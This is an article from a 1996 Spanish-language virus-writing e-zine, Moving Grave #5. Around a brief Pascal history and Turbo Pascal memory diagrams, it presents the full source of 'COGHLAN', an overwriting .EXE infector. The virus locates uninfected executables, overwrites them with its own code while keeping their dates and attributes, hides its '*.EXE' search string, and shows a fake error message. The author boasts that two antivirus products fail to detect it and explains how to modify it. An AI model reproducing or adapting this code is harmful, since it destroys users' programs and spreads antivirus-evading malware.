Moving Grave5:(MG#_5.X03):06/04/1996 << Back To Moving Grave5


Historia de don Pascal -───────────────────-- El lenguaje de programacion Pascal es un "lenguaje de alto nivel" y proposi- to general desarrollado por el profesor suizo NIKLAUS WIRTH como un lenguaje para enseñar la programación de modo (con metodos) disciplinado sistematico. Para realizar este lenguaje Wirth trato de eliminar las inconsistencias de otros lenguajes de programacion existentes en su epoca, y que siriviera para enseñar las tecnicas de programacion a sus alumnos. Una version preliminar del lenguaje aparecio en 1968 y el primer compilador totalmente completo aparecio a finales de 1970 (en 1971 diriamos). Desde enton- ces muchos compiladores han sido construidos y estan disponibles para diferen- tes maquinas. Durante muchos años el libro "Pascal User Manual and Report", pu- blicado por Wirth y Kathleen Jensen en 1974, ha servido "de facto" como estan- dar de todas las versiones. Bueno, despues de esta brevisima reseña historica del PASCAL pasamos al plato principal de esta nota. Creando un pequeño virus en PASCAL -───────────────────────────────-- (*==============================/ CUT HERE /=================================*) (* /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ *) (* │ Virus "COGHLAN" Creado el 1/1/96 │ *) (* │ COPYRIGHT (c) 1996 by COEAC Group Viral Development │ *) (* │ Created and Designed by DESTROYER │ *) (* ├──────────────────────────────────────────────────────────────────────┤ *) (* │>>>>>>>>>>>>>> Creatures Of Electronic Anti Christ <<<<<<<<<<<<<<<│ *) (* ├──────────────────────────────────────────────────────────────────────┤ *) (* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *) (* Comentarios: ──────────── A FAVOR: ======== ■ Virus OverWrite. ■ Infector de .EXE. ■ Infecta READ ONLY. pero con los hidden y system tiene problemas. ■ No altera los atributos de los archivos. ■ No altera la fecha original de los archivos. ■ Con sencilles se le cambia el ratio de infección. ■ No lo detecta el TBAV 7.00 ni el F-PROT 2.22 ■ Se le puede implementar con gran facilidad un metodo de tranversalidad CONTRA: ======= ■ Cualquier modificación que se le haga en los procedimientos, tanto al agregar uno o modificar cualquiera!, se tiene que revisar la posición de la marca de infección. *) Uses DOS; Const Ratio=3; (* Infeccion 1:3 *) Var Marca: String[7]; (* Variable para la MARCA de infeccion *) Contador: Integer; (* Contador de infecciones *) Time : LongInt; (* Para guardar el TIME del file a infectar *) Attr : Word; (* Para guardar el ATRIBUTO del file. *) Ruta : String; (* Aqui guardo la ruta actual *) Procedure Init; Begin Marca:='CoGhLaN'; (* Marca de infeccion *) Contador:=0; GetDir(0,Ruta); Ruta:=Ruta+'\'; (* Coloco la ruta actual en la variable *) End; Procedure Bye; Begin Writeln('Error in EXE'); Halt(0); (* Termino el programa con un mensaje *) end; Function TestCopy(Files:String):Boolean; Var Victim : File; NumRead : Integer; Buf: array[1..7] of Char; Begin Assign(Victim,Files); GetFAttr(Victim,Attr); (* Guardo los atributos *) SetFAttr(Victim,Archive); (* Seteo el atributo a tipo ARCHIVO *) Reset(Victim,1); (* Abro el archivo *) Seek(Victim,$131); (* Ubico el puntero *) BlockRead(Victim, Buf, SizeOf(Buf), NumRead); (* Leo un bloque de 7 bytes*) Close(Victim); (* Cierrro el archivo *) SetFAttr(Victim,Attr); (* Devuelvo los Atributos anteriores *) if Buf='CoGhLaN' then (* Me fijo si esta infectado o no! *) TestCopy:=True Else TestCopy:=False; End; Function FindExe(Path:String):String; Var DirInfo : SearchRec; Begin Randomize; (* Codigo muerto totalmente jeje!! *) FindFirst(Path+'*.'+chr(69)+chr(88)+chr(69),Archive,DirInfo); (*^^^^^^^^^^^^^^^^^^^^^^^ esto es para que no aparezca el famoso *.EXE sino que aparece entre cortado o letras por medio*) While (DosError = 0) do Begin if Not TestCopy(Path+DirInfo.Name) then Begin FindExe:=Path+DirInfo.Name; (* Encontre un file para infectar *) Exit; End; FindNext(DirInfo); (* Sigo buscando un file *) End; FindExe:='none'; (* Bue' estan todos infectados!, mala *) End; (* suerte!, lo dejamos pa' otro dia *) Procedure InfectFile(Nombre:String); Var Virus, Carrier : File; NumRead, NumWritten : Word; Buf : array[1..1024] of Char; Cont : Byte; (* Se calcula 4 lecturas/escrituras para *) (* el codigo del gusano y un poco más *) Begin {$I-} (* Activo Controlador de errores *) Assign(Virus,ParamStr(0)); Assign(Carrier,Nombre); GetFAttr(Carrier,Attr); (* Guardo los atributos *) SetFAttr(Carrier,Archive); (* Seteo el atributo a tipo ARCHIVO *) Reset(Virus,1); (* Abro el archivo que posee el virus *) Reset(Carrier,1); (* Abro el archivo a infectar *) GetFTime(Carrier,Time); (* Guardo la hora del file *) Seek(Carrier,0); (* Lo comienzo a copiar desde el principio *) Cont:=1; (* Empiezo con el primer bloque *) repeat BlockRead(Virus, Buf, SizeOf(Buf), NumRead); (* Leo un bloque de 1024 y lo coloco *) (* en el buffer *) BlockWrite(Carrier, Buf, NumRead, NumWritten);Inc(Cont); (* Copio del buffer hacia el archivo *) if Cont > 6 (* En total son 6 bloques de 1024 bytes *) then NumRead:=0; (* Salgo del repeat *) until (NumRead = 0) or (NumWritten <> NumRead); SetFTime(Carrier,Time); (* Devuelvo la hora anterior *) Close(Virus); Close(Carrier); (* Ya me traslade. Ja,Ja,Ja,Ja,Ja *) SetFAttr(Carrier,Attr); (* Devuelvo los Atributos anteriores *) {$I+} (* Desactivo Controlador de errores *) if IORESULT<>0 then Bye; (* Si hay error me las piro *) Inc(Contador); (* Controlo el ratio de infeccion *) End; Begin Init; (* Inicializacion del programa *) Repeat (* @1 *) if FindExe(Ruta) = 'none' then Bye; (* Esta todo infectado asi que CHAU *) InfectFile(FindExe(Ruta)); (* Procedo a infectar el file encontrado *) Until Contador=Ratio; (* repito a @1 hasta que haya *) (* cumplido el ratio *) Bye; (* Mensajito de que me las piro *) End. (*==============================/ CUT HERE /=================================*) Disposicion de la memoria en un programa hecho en PASCAL -─────────────────────────────────────────────────────-- Turbo Pascal divide la memoria de su computadora en cuatro partes: el segmento de codigo, el segmento de datos, el segmento pila (STACK) y el segmen- to MONTICULO o ALMACENAMIENTO DINAMICO (HEAP). Tecnicamente la pila y el monti- culo no estan totalmente separados, pero funcionan como entidades separadas. El segmento de datos esta claramente dedicado al almacenamiento de datos, pero en los otros tres segmentos tambien pueden almacenarse datos. La figura 1 muestra el mapa de memoria simplificada de turbo pascal 5.x, 6.0 y 7.0. Cada mo- dulo (que inlcuye el programa principal y cada unidad) tiene su propio segmento de codigo. El programa principal ocupa el primer segmento de unidades (en orden inverso de como estan listadas en la clausula USES) y el ultimo segmento de co- digo esta ocupado por la libreria en tiempo de ejecucion. El tamaño de un segmento de codigo no puede exceder de 64k, pero el tamaño total del codigo esta limitado solo por la memoria disponible. El segmento de datos contiene todas las constantes de tipo seguidas por las variables globa les.El tamaño del segmento de la pila no puede exceder de 64k (el tamaño por defecto es 16k). El BUFFER o memoria intermedia de recubrimiento (OVERLAY) se utiliza por la unidad estandar OVERLAY para almacenar codigo recubierto. Si el programa no tiene RECUBRIMIENTO, el tamaño de la memoria intermedia del recubrimiento es cero. La figura 2 (modificacion de la 1) muestra como queda la memoria cuando un programa arranca, y en ella se observa que todas las variables locales se almacenan en la pila (STACK) y variables globales (tambien llamadas estaticas) se almacenan en el segmento de datos. El codigo y el segmento de datos estan lo- calizados en la parte baja de la memoria y la pila (STACK) y el almacenamiento dinamico o monticulo (HEAP) ocupan la zona alta de la memoria. El diagrama de la figura 2 muestra tambien que la pila crece hacia abajo en la memoria y el monticulo crece hacia arriba en la memoria. Aunque la pila y el monticulo comparten la misma zona de la memoria, ellas nunca deben solaparse. La mayoria de las variables que se declaran en Turbo Pascal son estaticas, su tamaño se fija en tiempo de compilacion y no pueden variar. Por el contrario, el monticulo almacena variables dinamicas. ┌──────────┐ │ FIGURA 1 │ └──────────┘ ┌───────────────────────────────────────────┐ │ Lista Libre (crece hacia abajo) │ │  │ FreePtr ─├------------------------------------------─┤ │ Memoria libre │ HeapPtr ─├------------------------------------------─┤ │ Monticulo (crece hacia arriba) │ │  │ HeapOrg ─├───────────────────────────────────────────┤ OvHeapEnd │ Recubrimiento de Buffer │ ├───────────────────────────────────────────┤ OvHeapOrg │ Pila (crece hacia abajo) │ │  │ Sseg:Sptr ─├------------------------------------------─┤ │ Pila Libre │ Sseg:0000 ─├───────────────────────────────────────────┤ │ Variables Globales │ ├------------------------------------------─┤──────────┐ │ Constantes con tipos │ │ Dseg:0000 ─├───────────────────────────────────────────┤ │ ├------------------------------------------─┤ │ │ Segmento de codigo de la primera unidad │ │ ├------------------------------------------─┤ Contenido de una └───────────────────────────────────────────┘ imagen de Archivo .EXE ┌───────────────────────────────────────────┐ │ │ Segmento de codigo de la unidad SYSTEM │ │ ├------------------------------------------─┤ │ │ Segmento de codigo de la ultima unidad │ │ ├───────────────────────────────────────────┤ │ │ Segmento de codigo del programa principal │ │ ├───────────────────────────────────────────┤──────────┘ │ Program Segment Prefix (PSP) │ PrefixSeg ─└───────────────────────────────────────────┘ ┌──────────┐ │ FIGURA 2 │ └──────────┘ ┌─────────────────┐ ─────────────────────├─────────────────┤ El tamaño de la zona Aqui se almacena el │ Comienzo del │ de codigo es el total codigo objeto. │ Programa │ del tamaño del codigo │ Principal │ de programa principal ├─────────────────┤ mas el tamaño del co- │ Codigo Unidad n │ digo de todas las uni- ├─────────────────┤ dades utilizadas por │ ... │ el programa. El tamaño ├─────────────────┤ total del codigo solo │ Codigo Unidad 2 │ esta limitado por la ├─────────────────┤ memoria disponible. │ Codigo Unidad 1 │ ─────────────────────├─────────────────┤ Tamaño de la zona de Se almacenan │ Comienzo de │ datos (suma de todas variables globales │ datos │ las variables globales (estaticas) y │ │ del programa principal constantes con tipo │ │ y todas las unidades │ Fin de datos │ utilizadas). El maximo ─────────────────────├─────────────────┤│ es 65.520 bytes. Se almacenan │ ││ variables de │ ││ subprogramas, │ ││ El tamaño de la zona parametros pasados y │ ││ de la pila se establece otros valores │ ││ con las directivas de auxiliares │ Comienzo de la ││ compilacion. │ pila ││ ─────────────────────├─────────────────┤ La pila crece hacia la Se almacenan │ Comienzo del ││ zona mas baja de la variables dinamicas │ monticulo ││ memoria creadas por NEW y │ ││ GETMEM. │ ││ El monticulo crece hacia │ Cima del ││ la zona mas alta de la │ monticulo ││ memoria ├─────────────────┤│ │ ││ │ │ El tamaño del monticulo │ │ se establece con las │ │ opciones del compilador. Espacio del monticulo│ │ Si la memoria disponible no utilizado │ │ es menor que el limite disponible para │ │ bajo del monticulo, el alamacenar variables │ │ programa no se cargara. dinamicas adicionales│ │ └─────────────────┘ Adicionales y comentarios -──────────────────────-- Bueno gente espero que les haya servido/gustado o almenos perdido time en leer este articulo!, en resumen!, la programacion en pascal no es para nada dificil! lo bueno que tuvo esto es que cuando prove el virus en si!, ningun antivirus lo pudo detectar ni con sus flagsitos, je!, la unica reseña que tengo que hacer en referencia al virus! es que cuando hagan algun cambio o agreguen algo al virus, presten atencion donde se encuentra la MARCA DE INFECCION!, dentro del file una vez compilado!, ya que la ubicacion varia dependiendo del contenido del progra- ma, no quiere decir que va a cambiar bruscamente!, pero tiene pequeñas diferen- cias de unos +/- 10 o 15 bytes. La ubicacion que yo les deje en el fuente es la actual compilandolo como esta!, aparte la misma esta dada en hexadecimal!, para que si lo ven con el HIEW no tengan que andar convirtiendo de hexa a decimal!. Bue' despues de este breve comentario!, solamente les deseo suerte!, y nos vemos en la MG#6 (espero sinceramente!). Bye Viruckers! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -/ Creatures Of Electronic Anti Christ /- Written by DESTROYER for MOVING GRAVE MAGAZINE Nº 5 in HALLS OF THE DAMNED BBS =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=